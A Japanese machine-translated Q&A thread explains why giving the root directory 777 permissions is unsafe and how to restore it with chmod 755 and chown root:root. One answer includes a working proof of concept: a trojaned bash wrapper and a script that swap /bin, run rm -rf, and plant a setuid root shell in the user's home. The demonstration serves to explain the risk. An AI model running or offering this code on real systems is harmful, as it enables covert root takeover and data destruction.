ただし、ほとんどのコンテンツは755です。
これは問題ですか?
/
が実際に777
パーミッションの設定を許可しているのは興味深いことです。 /
フォルダーには777
権限を与えないでください。これは、システムにログインするすべてのユーザーが/
ルートレベルでファイルとフォルダーを作成できることを意味します。 VMでこれをテストしました。_ _できません777
ではないフォルダーまたはファイルをSudo
、root
またはowner
。 /root
フォルダー自体にアクセスしようとすると、許可が拒否されるなど、アクセス許可が引き続き適用されます。ただし、そうは言っても、/root
フォルダーを/root.old
に移動すると、大混乱を招く可能性があります。
これを修正するには、Sudo chmod 755 /
を実行して、アクセス許可を本来あるべきものに変更します。 Sudo chown root:root /
を実行して、ルート自体が所有していることを確認することもできます。 許可と所有権に一致するようにパーティション内のすべてのファイルとフォルダーが変更されるため、-Rを使用してこれらのコマンドを実行しないでください。
お役に立てれば!
いいえ。/
(ルートディレクトリ)が777
権限を持つことは安全ではありません。つまり、rwxrwxrwx
、つまり、すべてのユーザーがルートディレクトリへの書き込み権限を持っていることを意味します。
その許可により、すべてのユーザーは新しいサブディレクトリを作成し、既存のサブディレクトリを削除し、既存のサブディレクトリを置き換えることができます。たとえば、悪意のあるユーザーは、/bin
を(/bin.old
に名前を変更して)削除し、悪意のある実行可能ファイルを含む、ユーザーが所有する新しい/bin
を作成できます。または、ユーザーは/etc
を(/etc.old
に名前を変更して)削除し、ユーザーがログインできる/etc
および/etc/passwd
ファイルを含む新しい/etc/shadow
を作成できます。システム上のすべてのアカウントに。
/
は誰でも書き込み可能にしないでください/
が誰でも書き込み可能になると、hugeの問題になる可能性があります。 /
に対する書き込み権限があると、どのユーザーも/
内のファイルまたはディレクトリを移動/名前変更できます。これは、すべてのユーザーが/etc
、/usr
、または/
内の他のディレクトリを任意のディレクトリに置き換えることができることを意味します。
/etc
および/usr
の名前を変更することで、どのユーザーでもシステムを簡単にDoSできます。
特権エスカレーションを実行するのは少し難しいです。ユーザーは/bin
を自分のコピーに置き換えることができ、cp
を使用しようとするプロセス、またはシェルを開始しようとするプロセスは、すぐに容赦されます。ユーザーが行う必要があるのは、rootとして実行されているプロセスが/bin
のコマンドを使用するか、rootユーザーがログインを使用するのを待つことだけです。
bash.c
:
#include<sys/types.h>
#include<unistd.h>
int main(int argc, char*argv[], char *env[])
{
if (getuid() == 0) {
system("/home/muru/foo");
}
execve("/bin/bash", argv, env);
}
foo
:
#!/bin/sh
mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash
その後:
$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin
そして、次にrootがシェルを起動すると、ホームディレクトリにsetuid実行可能ファイルを取得します。これを使用すると、トレースを残さずに、いつでも好きなときにrootを取得できます。